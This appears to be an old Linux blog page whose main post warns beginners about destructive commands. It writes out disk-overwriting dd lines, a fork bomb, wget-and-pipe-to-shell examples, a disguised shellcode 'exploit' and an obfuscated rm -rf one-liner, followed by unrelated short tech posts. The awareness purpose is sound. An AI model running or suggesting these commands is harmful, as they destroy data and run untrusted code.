Block device manipulation: Causes raw data to be written to a block device. Often times this will strike violently the filesystem and cause total loss of data!
any_command > /dev/sda
dd if=something of=/dev/sda
Forkbomb : It is a malicious script that will execute a number of processes until your system freezes, this will force you to do a hard reboot which may cause damage to your system.
The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM!
CODE :
:(){:|:&};:
CODE :
fork while fork
Tarbomb: Let's say that somebody who wants to help you, he offer a tar.gz or tar.bz2 archive and asks you to extract it into an existing directory. This archive can be crafted to explode into a billions of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created empty directory!
Decompression bomb: Here's another example. Let's say somebody asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!
Shellscript: This one is very dangrous! Somebody gives you a link to download, to a shellscript and then they will asks you to execute it. This script can contain dangerous command he chooses, and that will damage your system . Do not execute code from people you don't trust! Here are some examples:
CODE :
wget http://my_site/my_file
sh ./some_file
Example :
wget http://ceattingal.ac.in/malicious-script
sh ./malicious-script
or
wget http://my_site/my_file -O- | sh
Example :
wget http://ihrd.org/malicious-script -O- | sh
Compiling code: Some person gives you the source code to an application and tells you to compile it. It is easy to hide dangerous codes in side large wad of source code, the attacker can easly damage your system. So Do not compile or execute the compiled code unless the source is of some well-known application, obtained from a reputable site.
A famous example I have seen on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. There was this payload:
CODE :
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
To the new and inexperienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root.
Here's another example of code that should definitely NOT be executed by anyone!
CODE : python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
Where "sn!.sg!+" is simply rm -rf * shifted a character up.
It is just for awareness of new and inexperienced users , You must know the above commands, don't try then with out proper knowledge. Good Luck
Wireless Signal Strength Detector - Shirt
A 100% cotton black shirt, this Glowing animated shirt dynamically displays the current wi-fi signal strength (whenever wireless network detected). It shows signal strength for 802.11b or 802.11g. It is washable, because Animated Decal is Removable, powered with AAA battery.
You don't need to power up your Laptop to search for wireless signal..
More info, and purchase
Saturday, November 1, 2008
Oracle's Better File System for Linux (BTRFS) is gearing up
Remote logging of Keystrokes become true
See more details
Microsoft Black Screen of Death Cracked by Chinese Hackers
http://en.epochtimes.com/n2/china/microsoft-black-screen-death-5979.html
More teenagers entering in to cybercrime
But the poor technical skills of many young hackers means they are very likely to get caught and arrested, they say.
The Hindu Daily Reports , In Kochi, police arrested an engineering student on charges of sending an e-mail to Indian President.I think government have to conduct awareness programs to people, school and college students about cybercrime . The Hindu news shows not only the general public but Engineering students also no idea about the fundamentals of E-mail, cybercrime and its consequences.
ClamWin - Free Antivirus Software for Microsoft Windows 98/Me/2000/XP/2003 and Vista
It features:
- High rate of detection for viruses and spyware
- Scheduled Scanning
- Free Automatic updated of Virus Database.
- Standalone virus scanner and right-click menu integration to Microsoft Windows Explorer
- Addin to Microsoft Outlook to remove virus-infected attachments automatically.
X.Org 7.4 supports Hot plugging for Display Devices in Ubuntu 8.10
Now You can Remove and Plug another monitor with out switch off and reconfiguring like your mouse and Keyboard. What a great improvement, this progress forwards multi-monitor support improvements or the ability to plug in projectors recognize immediately with correct resolution.
What is the difference between Microsoft and Ubuntu
Answer is simple
MICROSOFT GETS YOU TO DRINK THROUGH STRAW
UBUNTU GETS YOU DRUNK FASTER THAN DRINK THROUGH STRAW